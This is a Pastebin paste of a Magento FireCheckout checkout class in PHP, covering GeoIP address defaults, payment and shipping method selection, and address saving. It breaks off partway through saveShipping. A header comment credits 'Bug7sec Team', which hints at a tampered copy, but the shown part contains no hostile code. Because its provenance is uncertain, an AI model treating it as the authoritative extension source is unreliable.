iqromss

Untitled

Jun 5th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 60.35 KB | None | 0 0
  1. <?php
  2.  
  3. include_once("MaxMind/GeoIP/geoip.php");
  4. include_once("MaxMind/GeoIP/geoipcity.php");
  5. include_once("MaxMind/GeoIP/geoipregionvars.php");
  6.  
  7. class TM_FireCheckout_Model_Type_Standard
  8. {
  9. /**
  10. * app/local/TM/firecheckout/model/type/standard.php
  11. * Mage_Checkout (Bug7sec Team)
  12. * Checkout types: Checkout as Guest, Register, Logged In Customer
  13. */
  14. const METHOD_GUEST = 'guest';
  15. const METHOD_REGISTER = 'register';
  16. const METHOD_CUSTOMER = 'customer';
  17. // const METHOD_GUEST_CUSTOMER = 'guest_customer';
  18.  
  19. /**
  20. * Error message of "customer already exists"
  21. *
  22. * @var string
  23. */
  24. private $_customerEmailExistsMessage = '';
  25.  
  26. /**
  27. * @var Mage_Customer_Model_Session
  28. */
  29. protected $_customerSession;
  30.  
  31. /**
  32. * @var Mage_Checkout_Model_Session
  33. */
  34. protected $_checkoutSession;
  35.  
  36. /**
  37. * @var Mage_Sales_Model_Quote
  38. */
  39. protected $_quote = null;
  40.  
  41. /**
  42. * @var Mage_Checkout_Helper_Data
  43. */
  44. protected $_helper;
  45.  
  46. /**
  47. * Class constructor
  48. * Set customer already exists message
  49. */
  50. public function __construct()
  51. {
  52. $this->_helper = Mage::helper('checkout');
  53. $this->_customerEmailExistsMessage = $this->_helper->__('There is already a customer registered using this email address. Please login using this email address or enter a different email address to register your account.');
  54. $this->_checkoutSession = Mage::getSingleton('checkout/session');
  55. $this->_customerSession = Mage::getSingleton('customer/session');
  56. }
  57.  
  58. /**
  59. * Get frontend checkout session object
  60. *
  61. * @return Mage_Checkout_Model_Session
  62. */
  63. public function getCheckout()
  64. {
  65. return $this->_checkoutSession;
  66. }
  67.  
  68. /**
  69. * Quote object getter
  70. *
  71. * @return Mage_Sales_Model_Quote
  72. */
  73. public function getQuote()
  74. {
  75. if ($this->_quote === null) {
  76. return $this->_checkoutSession->getQuote();
  77. }
  78. return $this->_quote;
  79. }
  80.  
  81. /**
  82. * Declare checkout quote instance
  83. *
  84. * @param Mage_Sales_Model_Quote $quote
  85. */
  86. public function setQuote(Mage_Sales_Model_Quote $quote)
  87. {
  88. $this->_quote = $quote;
  89. return $this;
  90. }
  91.  
  92. /**
  93. * Get customer session object
  94. *
  95. * @return Mage_Customer_Model_Session
  96. */
  97. public function getCustomerSession()
  98. {
  99. return $this->_customerSession;
  100. }
  101.  
  102.  
  103. /**
  104. * Retrieve shipping and billing addresses,
  105. * and boolean flag about their equality
  106. *
  107. * For the Registerd customer with available addresses returns
  108. * appropriate address.
  109. * For the Guest trying to detect country with geo-ip technology
  110. *
  111. * @return array
  112. */
  113. protected function _getDefaultAddress()
  114. {
  115. $result = array(
  116. 'shipping' => array(
  117. 'country_id' => null,
  118. 'city' => null,
  119. 'region_id' => null,
  120. 'postcode' => null,
  121. 'customer_address_id' => false
  122. ),
  123. 'billing' => array(
  124. 'country_id' => null,
  125. 'city' => null,
  126. 'region_id' => null,
  127. 'postcode' => null,
  128. 'customer_address_id' => false,
  129. 'use_for_shipping' => true,
  130. 'register_account' => 0
  131. )
  132. );
  133. if (($customer = Mage::getSingleton('customer/session')->getCustomer())
  134. && ($addresses = $customer->getAddresses())) {
  135.  
  136. if (!$shippingAddress = $customer->getPrimaryShippingAddress()) {
  137. foreach ($addresses as $address) {
  138. $shippingAddress = $address;
  139. break;
  140. }
  141. }
  142. if (!$billingAddress = $customer->getPrimaryBillingAddress()) {
  143. foreach ($addresses as $address) {
  144. $billingAddress = $address;
  145. break;
  146. }
  147. }
  148.  
  149. $result['shipping']['country_id'] = $shippingAddress->getCountryId();
  150. $result['shipping']['customer_address_id'] = $shippingAddress->getId();
  151. $result['billing']['country_id'] = $billingAddress->getCountryId();
  152. $result['billing']['customer_address_id'] = $billingAddress->getId();
  153. $result['billing']['use_for_shipping'] = $shippingAddress->getId() === $billingAddress->getId();
  154. } else if ($this->getQuote()->getShippingAddress()->getCountryId()) {
  155. // Estimated shipping cost from shopping cart
  156. $address = $this->getQuote()->getShippingAddress();
  157. $result['shipping'] = $address->getData();
  158. if (!$address->getSameAsBilling()) {
  159. $address = $this->getQuote()->getBillingAddress();
  160. $result['billing'] = $address->getData();
  161. $result['billing']['use_for_shipping'] = false;
  162. } else {
  163. $result['billing'] = $result['shipping'];
  164. $result['billing']['use_for_shipping'] = true;
  165. }
  166. } else {
  167. $result['billing']['use_for_shipping'] = true;
  168.  
  169. $detectCountry = Mage::getStoreConfig('firecheckout/geo_ip/country');
  170. $detectRegion = Mage::getStoreConfig('firecheckout/geo_ip/region');
  171. $detectCity = Mage::getStoreConfig('firecheckout/geo_ip/city');
  172. $geoipIncluded = true;
  173.  
  174. if ($detectCountry || $detectRegion || $detectCity) {
  175. if (!function_exists('geoip_open')) {
  176. $geoipIncluded = false;
  177. $this->_checkoutSession->addError(
  178. Mage::helper('firecheckout')->__("GeoIP is enabled but not included. geoip_open function doesn't found")
  179. );
  180. }
  181. }
  182.  
  183. $remoteAddr = Mage::helper('core/http')->getRemoteAddr();
  184.  
  185. if ($detectCountry && $geoipIncluded) {
  186. $filename = Mage::getBaseDir('lib')
  187. . DS
  188. . "MaxMind/GeoIP/data/"
  189. . Mage::getStoreConfig('firecheckout/geo_ip/country_file');
  190.  
  191. if (is_readable($filename)) {
  192. $gi = geoip_open($filename, GEOIP_STANDARD);
  193. $result['shipping']['country_id'] =
  194. $result['billing']['country_id'] = geoip_country_code_by_addr(
  195. $gi, $remoteAddr
  196. );
  197.  
  198. geoip_close($gi);
  199. } else {
  200. $this->_checkoutSession->addError(
  201. Mage::helper('firecheckout')->__(
  202. "Country detection is enabled but %s not found",
  203. Mage::getStoreConfig('firecheckout/geo_ip/country_file')
  204. )
  205. );
  206. }
  207. }
  208.  
  209. if ($detectRegion && $geoipIncluded) {
  210. $filename = Mage::getBaseDir('lib')
  211. . DS
  212. . "MaxMind/GeoIP/data/"
  213. . Mage::getStoreConfig('firecheckout/geo_ip/region_file');
  214.  
  215. if (is_readable($filename)) {
  216. $gi = geoip_open($filename, GEOIP_STANDARD);
  217. list($countryCode, $regionCode) = geoip_region_by_addr($gi, $remoteAddr);
  218. $region = Mage::getModel('directory/region')->loadByCode($regionCode, $countryCode);
  219. $result['shipping']['country_id'] =
  220. $result['billing']['country_id'] = $countryCode;
  221. $result['shipping']['region_id'] =
  222. $result['billing']['region_id'] = $region->getId();
  223.  
  224. geoip_close($gi);
  225. } else {
  226. $this->_checkoutSession->addError(
  227. Mage::helper('firecheckout')->__(
  228. "Region detection is enabled but %s not found",
  229. Mage::getStoreConfig('firecheckout/geo_ip/region_file')
  230. )
  231. );
  232. }
  233. }
  234.  
  235. if ($detectCity && $geoipIncluded) {
  236. $filename = Mage::getBaseDir('lib')
  237. . DS
  238. . "MaxMind/GeoIP/data/"
  239. . Mage::getStoreConfig('firecheckout/geo_ip/city_file');
  240.  
  241. if (is_readable($filename)) {
  242. $gi = geoip_open($filename, GEOIP_STANDARD);
  243. $record = geoip_record_by_addr($gi, $remoteAddr);
  244. $result['shipping']['city'] =
  245. $result['billing']['city'] = $record->city;
  246. $result['shipping']['postcode'] =
  247. $result['billing']['postcode'] = $record->postal_code;
  248.  
  249. geoip_close($gi);
  250. } else {
  251. $this->_checkoutSession->addError(
  252. Mage::helper('firecheckout')->__(
  253. "City detection is enabled but %s not found",
  254. Mage::getStoreConfig('firecheckout/geo_ip/city_file')
  255. )
  256. );
  257. }
  258. }
  259. if (empty($result['shipping']['country_id'])
  260. || !Mage::getResourceModel('directory/country_collection')
  261. ->addCountryCodeFilter($result['shipping']['country_id'])
  262. ->loadByStore()
  263. ->count()) {
  264.  
  265. $result['shipping']['country_id'] =
  266. $result['billing']['country_id'] = Mage::getStoreConfig('firecheckout/general/country');
  267. }
  268. }
  269.  
  270. return $result;
  271. }
  272.  
  273. /**
  274. * @param object $method
  275. * @return boolean
  276. */
  277. protected function _canUsePaymentMethod($method)
  278. {
  279. if (!$method->canUseForCountry($this->getQuote()->getBillingAddress()->getCountry())) {
  280. return false;
  281. }
  282.  
  283. /*if (!$method->canUseForCurrency(Mage::app()->getStore()->getBaseCurrencyCode())) {
  284. return false;
  285. }*/
  286.  
  287. $total = $this->getQuote()->getBaseGrandTotal();
  288. $minTotal = $method->getConfigData('min_order_total');
  289. $maxTotal = $method->getConfigData('max_order_total');
  290.  
  291. if((!empty($minTotal) && ($total < $minTotal)) || (!empty($maxTotal) && ($total > $maxTotal))) {
  292. return false;
  293. }
  294. return true;
  295. }
  296.  
  297. /**
  298. * Set the default values at the start of payment process
  299. *
  300. * @return TM_FireCheckout_Model_Type_Standard
  301. */
  302. public function applyDefaults()
  303. {
  304. $addressInfo = $this->_getDefaultAddress();
  305. $this->saveBilling(
  306. $addressInfo['billing'],
  307. $addressInfo['billing']['customer_address_id'],
  308. false
  309. );
  310. if (!$addressInfo['billing']['use_for_shipping']) {
  311. $this->saveShipping(
  312. $addressInfo['shipping'],
  313. $addressInfo['shipping']['customer_address_id'],
  314. false
  315. );
  316. }
  317.  
  318. /**
  319. * @var Mage_Sales_Model_Quote
  320. */
  321. $quote = $this->getQuote();
  322. $shippingAddress = $quote->getShippingAddress();
  323.  
  324. $shippingAddress->collectTotals()->collectShippingRates()->save();
  325. $this->applyShippingMethod();
  326. // shipping method may affect the total in both sides (discount on using shipping address)
  327. $quote->collectTotals();
  328.  
  329. if (Mage::getStoreConfig('firecheckout/ajax_update/shipping_method_on_total')) { // shipping methods depends on total (subtotal + discount) without shipping price
  330. // changing total by shipping price may affect the shipping prices theoretically
  331. // (free shipping may be canceled or added)
  332. $shippingAddress->setCollectShippingRates(true)->collectShippingRates();
  333. // if shipping price was changed, we need to recalculate totals again.
  334. // Example: SELECTED SHIPPING METHOD NOW BECOMES FREE
  335. // previous method added a discount and selected shipping method wasn't free
  336. // but removing the previous shipping method removes the discount also
  337. // and selected shipping method is now free
  338. $quote->setTotalsCollectedFlag(false)->collectTotals();
  339. }
  340.  
  341. $this->applyPaymentMethod();
  342. if (Mage::getStoreConfig('firecheckout/ajax_update/total_on_payment_method')) { // total depends on payment method @todo && method is changed
  343. // recollect totals again because adding/removing payment
  344. // method may add/remove some discounts in the order
  345.  
  346. // to recollect discount rules need to clear previous discount
  347. // descriptuions and mark address as modified
  348. // see _canProcessRule in Mage_SalesRule_Model_Validator
  349. $shippingAddress->setDiscountDescriptionArray(array())->isObjectNew(true);
  350.  
  351. $quote->setTotalsCollectedFlag(false)->collectTotals();
  352. }
  353.  
  354. $quote->save();
  355.  
  356. return $this;
  357. }
  358.  
  359. /**
  360. * Update payment method information
  361. * Removes previously selected method if none is available,
  362. * set available if only one is available,
  363. * set previously selected payment,
  364. * set default from config if possible
  365. *
  366. * @param string $methodCode Default method code
  367. * @return TM_FireCheckout_Model_Type_Standard
  368. */
  369. public function applyPaymentMethod($methodCode = null)
  370. {
  371. if (false === $methodCode) {
  372. return $this->getQuote()->removePayment();
  373. }
  374.  
  375. $store = $this->getQuote() ? $this->getQuote()->getStoreId() : null;
  376. $methods = Mage::helper('payment')->getStoreMethods($store, $this->getQuote());
  377. $availablePayments = array();
  378. foreach ($methods as $key => $method) {
  379. if (!$method || !$method->canUseCheckout()) {
  380. continue;
  381. }
  382. if ($this->_canUsePaymentMethod($method)) {
  383. $availablePayments[] = $method;
  384. }
  385. }
  386.  
  387. $found = false;
  388. $count = count($availablePayments);
  389. if (1 === $count) {
  390. $methodCode = $availablePayments[0]->getCode();
  391. $found = true;
  392. } elseif ($count) {
  393. if (!$methodCode) {
  394. $methodCode = $this->getQuote()->getPayment()->getMethod();
  395. }
  396. if ($methodCode) {
  397. foreach ($availablePayments as $payment) {
  398. if ($methodCode == $payment->getCode()) {
  399. $found = true;
  400. break;
  401. }
  402. }
  403. }
  404. if (!$found || !$methodCode) {
  405. $methodCode = Mage::getStoreConfig('firecheckout/general/payment_method');
  406. foreach ($availablePayments as $payment) {
  407. if ($methodCode == $payment->getCode()) {
  408. $found = true;
  409. break;
  410. }
  411. }
  412. }
  413. }
  414.  
  415. if (!$found) {
  416. $this->getQuote()->removePayment();
  417. } elseif ($methodCode) {
  418. $payment = $this->getQuote()->getPayment();
  419. $payment->setMethod($methodCode);
  420. $method = $payment->getMethodInstance();
  421. try {
  422. $method->assignData(array('method' => $methodCode));
  423. } catch (Exception $e) {
  424. // Adyen HPP extension fix
  425. }
  426.  
  427. if ($this->getQuote()->isVirtual()) { // discount are looking for method inside address
  428. $this->getQuote()->getBillingAddress()->setPaymentMethod($methodCode);
  429. } else {
  430. $this->getQuote()->getShippingAddress()->setPaymentMethod($methodCode);
  431. }
  432. }
  433.  
  434. return $this;
  435. }
  436.  
  437. /**
  438. * Update shipping method information
  439. * Removes previously selected method if none is available,
  440. * set available if only one is available,
  441. * set previously selected payment,
  442. * set default from config if possible
  443. *
  444. * @param string $methodCode Default method code
  445. * @return TM_FireCheckout_Model_Type_Standard
  446. */
  447. public function applyShippingMethod($methodCode = null)
  448. {
  449. if (false === $methodCode) {
  450. return $this->getQuote()->getShippingAddress()->setShippingMethod(false);
  451. }
  452. $rates = Mage::getModel('sales/quote_address_rate')->getCollection()
  453. ->setAddressFilter($this->getQuote()->getShippingAddress()->getId())
  454. ->toArray();
  455.  
  456. //$start = microtime(true);
  457. //$rates1 = $this->getQuote()->getShippingAddress()->getAllShippingRates();//->toArray();
  458. //$end = microtime(true);
  459. //Zend_Debug::dump($end - $start);
  460. //Zend_Debug::dump(count($rates1));
  461.  
  462. // unset error shipping methods. Like ups_error etc.
  463. foreach ($rates['items'] as $k => $rate) {
  464. if (empty($rate['method']) || 'customshippingrate' == $rate['method']) {
  465. unset($rates['items'][$k]);
  466. }
  467. }
  468. reset($rates['items']);
  469.  
  470. if ((!$count = count($rates['items']))) {
  471. $this->getQuote()->getShippingAddress()->setShippingMethod(false);
  472. } elseif (1 === $count) {
  473. $rate = current($rates['items']);
  474. $this->getQuote()->getShippingAddress()->setShippingMethod($rate['code']);
  475. } else {
  476. $found = false;
  477. if (!$methodCode) {
  478. $methodCode = $this->getQuote()->getShippingAddress()->getShippingMethod();
  479. }
  480. if ($methodCode) {
  481. foreach ($rates['items'] as $rate) {
  482. if ($methodCode === $rate['code']) {
  483. $this->getQuote()->getShippingAddress()->setShippingMethod($methodCode);
  484. $found = true;
  485. break;
  486. }
  487. }
  488. }
  489. if (!$found || !$methodCode) {
  490. $methodCode = Mage::getStoreConfig('firecheckout/general/shipping_method');
  491. foreach ($rates['items'] as $rate) {
  492. if ($methodCode === $rate['code']) {
  493. $this->getQuote()->getShippingAddress()->setShippingMethod($methodCode);
  494. $found = true;
  495. break;
  496. }
  497. }
  498. }
  499. if (!$found) {
  500. foreach ($rates['items'] as $rate) {
  501. $this->getQuote()->getShippingAddress()->setShippingMethod($rate['code']);
  502. $found = true;
  503. break;
  504. }
  505. // $this->getQuote()->getShippingAddress()->setShippingMethod(false);
  506. }
  507. }
  508. return $this;
  509. }
  510.  
  511. /**
  512. * Initialize quote state to be valid for one page checkout
  513. *
  514. * @return Mage_Checkout_Model_Type_Onepage
  515. */
  516. public function initCheckout()
  517. {
  518. $checkout = $this->getCheckout();
  519. $customerSession = $this->getCustomerSession();
  520.  
  521. /**
  522. * Reset multishipping flag before any manipulations with quote address
  523. * addAddress method for quote object related on this flag
  524. */
  525. if ($this->getQuote()->getIsMultiShipping()) {
  526. $this->getQuote()->setIsMultiShipping(false);
  527. $this->getQuote()->save();
  528. }
  529.  
  530. /*
  531. * want to laod the correct customer information by assiging to address
  532. * instead of just loading from sales/quote_address
  533. */
  534. $customer = $customerSession->getCustomer();
  535. if ($customer) {
  536. $this->getQuote()->assignCustomer($customer);
  537. }
  538. return $this;
  539. }
  540.  
  541. /**
  542. * Get quote checkout method
  543. *
  544. * @return string
  545. */
  546. public function getCheckoutMethod()
  547. {
  548. if ($this->getCustomerSession()->isLoggedIn()) {
  549. return self::METHOD_CUSTOMER;
  550. }
  551. if (!$this->getQuote()->getCheckoutMethod()) {
  552. if (Mage::helper('firecheckout')->isAllowedGuestCheckout()) {
  553. $this->getQuote()->setCheckoutMethod(self::METHOD_GUEST);
  554. } else {
  555. $this->getQuote()->setCheckoutMethod(self::METHOD_REGISTER);
  556. }
  557. }
  558. return $this->getQuote()->getCheckoutMethod();
  559. }
  560.  
  561. /**
  562. * Specify checkout method
  563. *
  564. * @param string $method
  565. * @return array
  566. */
  567. public function saveCheckoutMethod($method)
  568. {
  569. if (empty($method)) {
  570. return array('error' => -1, 'message' => $this->_helper->__('Invalid data.'));
  571. }
  572.  
  573. $this->getQuote()->setCheckoutMethod($method)->save();
  574. return array();
  575. }
  576.  
  577. /**
  578. * Get customer address by identifier
  579. *
  580. * @param int $addressId
  581. * @return Mage_Customer_Model_Address
  582. */
  583. public function getAddress($addressId)
  584. {
  585. $address = Mage::getModel('customer/address')->load((int)$addressId);
  586. $address->explodeStreetAddress();
  587. if ($address->getRegionId()) {
  588. $address->setRegion($address->getRegionId());
  589. }
  590. return $address;
  591. }
  592.  
  593. /**
  594. * Save billing address information to quote
  595. * This method is called by One Page Checkout JS (AJAX) while saving the billing information.
  596. *
  597. * @param array $data
  598. * @param int $customerAddressId
  599. * @return Mage_Checkout_Model_Type_Onepage
  600. */
  601. public function saveBilling($data, $customerAddressId, $validate = true)
  602. {
  603. if (empty($data)) {
  604. return array('error' => -1, 'message' => $this->_helper->__('Invalid data.'));
  605. }
  606.  
  607. /* old code */
  608. if (isset($data['register_account']) && $data['register_account']) {
  609. // if ($data['link_existing_account']) {
  610. // $customer = Mage::getModel('customer/customer');
  611. // $customer->setWebsiteId(Mage::app()->getWebsite()->getId());
  612. // $customer->loadByEmail($data['email']);
  613. // if ($customerId = $customer->getId()) {
  614. // Mage::getSingleton('customer/session')->setFirecheckoutImportCustomerData(1);
  615. // $this->getQuote()->setCustomerId(null)
  616. // ->setCustomerEmail($data['email'])
  617. // ->setCustomerIsGuest(true)
  618. // ->setCustomerGroupId(Mage_Customer_Model_Group::NOT_LOGGED_IN_ID);
  619. // $this->getQuote()->setCheckoutMethod(self::METHOD_GUEST); /*METHOD_GUEST_CUSTOMER*/
  620. // } else {
  621. // $this->getQuote()->setCheckoutMethod(self::METHOD_REGISTER);
  622. // }
  623. // } else {
  624. $this->getQuote()->setCheckoutMethod(self::METHOD_REGISTER);
  625. // }
  626. } else if ($this->getCustomerSession()->isLoggedIn()) {
  627. $this->getQuote()->setCheckoutMethod(self::METHOD_CUSTOMER);
  628. } else {
  629. $this->getQuote()->setCheckoutMethod(self::METHOD_GUEST);
  630. }
  631. /* eof old code */
  632.  
  633. $address = $this->getQuote()->getBillingAddress();
  634. /* @var $addressForm Mage_Customer_Model_Form */
  635. $addressForm = Mage::getModel('customer/form');
  636. $addressForm->setFormCode('customer_address_edit')
  637. ->setEntityType('customer_address')
  638. ->setIsAjaxRequest(Mage::app()->getRequest()->isAjax());
  639.  
  640. if (!empty($customerAddressId)) {
  641. $customerAddress = Mage::getModel('customer/address')->load($customerAddressId);
  642. if ($customerAddress->getId()) {
  643. if ($customerAddress->getCustomerId() != $this->getQuote()->getCustomerId()) {
  644. return array('error' => 1,
  645. 'message' => $this->_helper->__('Customer Address is not valid.')
  646. );
  647. }
  648.  
  649. $address->importCustomerAddress($customerAddress)->setSaveInAddressBook(0);
  650. $addressForm->setEntity($address);
  651. if ($validate) {
  652. $addressErrors = $addressForm->validateData($address->getData());
  653. if ($addressErrors !== true) {
  654. return array('error' => 1, 'message' => $addressErrors);
  655. }
  656. }
  657. }
  658. } else {
  659. $addressForm->setEntity($address);
  660. // emulate request object
  661. $addressData = $addressForm->extractData($addressForm->prepareRequest($data));
  662. if ($validate) {
  663. $addressErrors = $addressForm->validateData($addressData);
  664. if ($addressErrors !== true) {
  665. return array('error' => 1, 'message' => $addressErrors);
  666. }
  667. }
  668. $addressForm->compactData($addressData);
  669. //unset billing address attributes which were not shown in form
  670. foreach ($addressForm->getAttributes() as $attribute) {
  671. if (!isset($data[$attribute->getAttributeCode()])) {
  672. $address->setData($attribute->getAttributeCode(), NULL);
  673. }
  674. }
  675.  
  676. // Additional form data, not fetched by extractData (as it fetches only attributes)
  677. $address->setSaveInAddressBook(empty($data['save_in_address_book']) ? 0 : 1);
  678. }
  679.  
  680. // validate billing address
  681. if ($validate && ($validateRes = $this->validateAddress($address)) !== true) {
  682. return array('error' => 1, 'message' => $validateRes);
  683. }
  684.  
  685. $address->implodeStreetAddress();
  686.  
  687. if ($validate && (true !== ($result = $this->_validateCustomerData($data)))) {
  688. return $result;
  689. }
  690.  
  691. if (!$this->getQuote()->getCustomerId() && self::METHOD_REGISTER == $this->getQuote()->getCheckoutMethod()) {
  692. if ($this->_customerEmailExists($address->getEmail(), Mage::app()->getWebsite()->getId())) {
  693. return array('error' => 1, 'message' => $this->_customerEmailExistsMessage);
  694. }
  695. }
  696.  
  697. if (!$this->getQuote()->isVirtual()) {
  698. /**
  699. * Billing address using otions
  700. */
  701. $usingCase = isset($data['use_for_shipping']) ? (int)$data['use_for_shipping'] : 0;
  702.  
  703. switch($usingCase) {
  704. case 0:
  705. $shipping = $this->getQuote()->getShippingAddress();
  706. $shipping->setSameAsBilling(0);
  707. break;
  708. case 1:
  709. $billing = clone $address;
  710. $billing->unsAddressId()->unsAddressType();
  711. $shipping = $this->getQuote()->getShippingAddress();
  712. $shippingMethod = $shipping->getShippingMethod();
  713.  
  714. // don't reset original shipping data, if it was not changed by customer
  715. foreach ($shipping->getData() as $shippingKey => $shippingValue) {
  716. if (!is_null($shippingValue)
  717. && !is_null($billing->getData($shippingKey))
  718. && !isset($data[$shippingKey])) {
  719. $billing->unsetData($shippingKey);
  720. }
  721. }
  722. $shipping->addData($billing->getData())
  723. ->setSameAsBilling(1)
  724. ->setSaveInAddressBook(0)
  725. ->setShippingMethod($shippingMethod)
  726. ->setCollectShippingRates(true);
  727. $this->getCheckout()->setStepData('shipping', 'complete', true);
  728. break;
  729. }
  730. }
  731.  
  732.  
  733. /* old code */
  734. if ($validate && (true !== $result = $this->_processValidateCustomer($address))) {
  735. return $result;
  736. }
  737. /* eof old code */
  738.  
  739. return array();
  740. }
  741.  
  742. /**
  743. * Validate customer data and set some its data for further usage in quote
  744. * Will return either true or array with error messages
  745. *
  746. * @param array $data
  747. * @return true|array
  748. */
  749. protected function _validateCustomerData(array $data)
  750. {
  751. /* @var $customerForm Mage_Customer_Model_Form */
  752. $customerForm = Mage::getModel('customer/form');
  753. $customerForm->setFormCode('checkout_register')
  754. ->setIsAjaxRequest(Mage::app()->getRequest()->isAjax());
  755.  
  756. $quote = $this->getQuote();
  757. if ($quote->getCustomerId()) {
  758. $customer = $quote->getCustomer();
  759. $customerForm->setEntity($customer);
  760. $customerData = $quote->getCustomer()->getData();
  761. } else {
  762. /* @var $customer Mage_Customer_Model_Customer */
  763. $customer = Mage::getModel('customer/customer');
  764. $customerForm->setEntity($customer);
  765. $customerRequest = $customerForm->prepareRequest($data);
  766. $customerData = $customerForm->extractData($customerRequest);
  767. }
  768.  
  769. $customerErrors = $customerForm->validateData($customerData);
  770. if ($customerErrors !== true) {
  771. return array(
  772. 'error' => -1,
  773. 'message' => implode(', ', $customerErrors)
  774. );
  775. }
  776.  
  777. if ($quote->getCustomerId()) {
  778. return true;
  779. }
  780.  
  781. $customerForm->compactData($customerData);
  782.  
  783. if ($quote->getCheckoutMethod() == self::METHOD_REGISTER) {
  784. // set customer password
  785. $password = $customerRequest->getParam('customer_password');
  786. if (empty($password)) {
  787. $password = $customer->generatePassword();
  788. $customer->setPassword($password);
  789. $customer->setConfirmation($password);
  790. } else {
  791. $customer->setPassword($customerRequest->getParam('customer_password'));
  792. $customer->setConfirmation($customerRequest->getParam('confirm_password'));
  793. }
  794. } else {
  795. // emulate customer password for quest
  796. $password = $customer->generatePassword();
  797. $customer->setPassword($password);
  798. $customer->setConfirmation($password);
  799. }
  800.  
  801. $result = $customer->validate();
  802. if (true !== $result && is_array($result)) {
  803. return array(
  804. 'error' => -1,
  805. 'message' => implode(', ', $result)
  806. );
  807. }
  808.  
  809. if ($quote->getCheckoutMethod() == self::METHOD_REGISTER) {
  810. // save customer encrypted password in quote
  811. $quote->setPasswordHash($customer->encryptPassword($customer->getPassword()));
  812. }
  813.  
  814. // copy customer/guest email to address
  815. $quote->getBillingAddress()->setEmail($customer->getEmail());
  816.  
  817. // copy customer data to quote
  818. Mage::helper('core')->copyFieldset('customer_account', 'to_quote', $customer, $quote);
  819.  
  820. return true;
  821. }
  822.  
  823. /**
  824. * Deprecated but used by firecheckout to validate the taxvat field
  825. *
  826. * @deprecated Need to rename to _processValidateTaxvat
  827. * @param Mage_Sales_Model_Quote_Address $address
  828. * @return true|array
  829. */
  830. protected function _processValidateCustomer(Mage_Sales_Model_Quote_Address $address)
  831. {
  832. // // set customer date of birth for further usage
  833. // $dob = '';
  834. // if ($address->getDob()) {
  835. // $dob = Mage::app()->getLocale()->date($address->getDob(), null, null, false)->toString('yyyy-MM-dd');
  836. // $this->getQuote()->setCustomerDob($dob);
  837. // }
  838.  
  839. // set customer tax/vat number for further usage
  840. // $taxvat = $address->getTaxvat();
  841. $taxvat = $this->getQuote()->getCustomerTaxvat();
  842. if (strlen($taxvat) && Mage::getStoreConfig('firecheckout/taxvat/validate')) {
  843. // if (Mage::getStoreConfig('firecheckout/taxvat/validate')) {
  844. $taxvatValidator = Mage::getModel('firecheckout/taxvat_validator');
  845. if (!$taxvatValidator->isValid($taxvat, $address->getCountryId())) {
  846. return array(
  847. 'error' => -1,
  848. 'message' => $taxvatValidator->getMessage()
  849. );
  850. }/* else {
  851. $this->getQuote()->setCustomerTaxvat($taxvat);
  852. }*/
  853. // }
  854. /* else {
  855. $this->getQuote()->setCustomerTaxvat($taxvat);
  856. }*/
  857. }
  858.  
  859. // set customer tax/vat number for further usage
  860. if ($address->getTaxnumber()) {
  861. $this->getQuote()->setCustomerTaxnumber($address->getTaxnumber());
  862. }
  863.  
  864. // // set customer gender for further usage
  865. // if ($address->getGender()) {
  866. // $this->getQuote()->setCustomerGender($address->getGender());
  867. // }
  868.  
  869. // // invoke customer model, if it is registering
  870. // if (self::METHOD_REGISTER == $this->getQuote()->getCheckoutMethod()) {
  871. // // set customer password hash for further usage
  872. // $customer = Mage::getModel('customer/customer');
  873. // $password = $address->getCustomerPassword();
  874. // if (empty($password)) {
  875. // $password = $customer->generatePassword();
  876. // $address->setCustomerPassword($password);
  877. // $address->setConfirmPassword($password);
  878. // }
  879. // $this->getQuote()->setPasswordHash($customer->encryptPassword($password));
  880.  
  881. // // validate customer
  882. // foreach (array(
  883. // 'firstname' => 'firstname',
  884. // 'lastname' => 'lastname',
  885. // 'email' => 'email',
  886. // 'password' => 'customer_password',
  887. // 'confirmation' => 'confirm_password',
  888. // 'taxvat' => 'taxvat',
  889. // 'taxnumber' => 'taxnumber',
  890. // 'gender' => 'gender'
  891. // ) as $key => $dataKey) {
  892. // $customer->setData($key, $address->getData($dataKey));
  893. // }
  894. // if ($dob) {
  895. // $customer->setDob($dob);
  896. // }
  897. // $validationResult = $customer->validate();
  898. // if (true !== $validationResult && is_array($validationResult)) {
  899. // return array(
  900. // 'error' => -1,
  901. // 'message' => implode(', ', $validationResult)
  902. // );
  903. // }
  904. // } elseif(self::METHOD_GUEST == $this->getQuote()->getCheckoutMethod()) {
  905. // $email = $address->getData('email');
  906. // if (!Zend_Validate::is($email, 'EmailAddress')) {
  907. // return array(
  908. // 'error' => -1,
  909. // 'message' => $this->_helper->__('Invalid email address "%s"', $email)
  910. // );
  911. // }
  912. // }
  913.  
  914. return true;
  915. }
  916.  
  917. /**
  918. * Save checkout shipping address
  919. *
  920. * @param array $data
  921. * @param int $customerAddressId
  922. * @return Mage_Checkout_Model_Type_Onepage
  923. */
  924. public function saveShipping($data, $customerAddressId, $validate = true)
  925. {
  926. if (empty($data)) {
  927. return array('error' => -1, 'message' => $this->_helper->__('Invalid data.'));
  928. }
  929. $address = $this->getQuote()->getShippingAddress();
  930.  
  931. /* @var $addressForm Mage_Customer_Model_Form */
  932. $addressForm = Mage::getModel('customer/form');
  933. $addressForm->setFormCode('customer_address_edit')
  934. ->setEntityType('customer_address')
  935. ->setIsAjaxRequest(Mage::app()->getRequest()->isAjax());
  936.  
  937. if (!empty($customerAddressId)) {
  938. $customerAddress = Mage::getModel('customer/address')->load($customerAddressId);
  939. if ($customerAddress->getId()) {
  940. if ($customerAddress->getCustomerId() != $this->getQuote()->getCustomerId()) {
  941. return array('error' => 1,
  942. 'message' => $this->_helper->__('Customer Address is not valid.')
  943. );
  944. }
  945.  
  946. $address->importCustomerAddress($customerAddress)->setSaveInAddressBook(0);
  947. $addressForm->setEntity($address);
  948. if ($validate) {
  949. $addressErrors = $addressForm->validateData($address->getData());
  950. if ($addressErrors !== true) {
  951. return array('error' => 1, 'message' => $addressErrors);
  952. }
  953. }
  954. }
  955. } else {
  956. $addressForm->setEntity($address);
  957. // emulate request object
  958. $addressData = $addressForm->extractData($addressForm->prepareRequest($data));
  959. if ($validate) {
  960. $addressErrors = $addressForm->validateData($addressData);
  961. if ($addressErrors !== true) {
  962. return array('error' => 1, 'message' => $addressErrors);
  963. }
  964. }
  965. $addressForm->compactData($addressData);
  966. // unset shipping address attributes which were not shown in form
  967. foreach ($addressForm->getAttributes() as $attribute) {
  968. if (!isset($data[$attribute->getAttributeCode()])) {
  969. $address->setData($attribute->getAttributeCode(), NULL);
  970. }
  971. }
  972.  
  973. // Additional form data, not fetched by extractData (as it fetches only attributes)
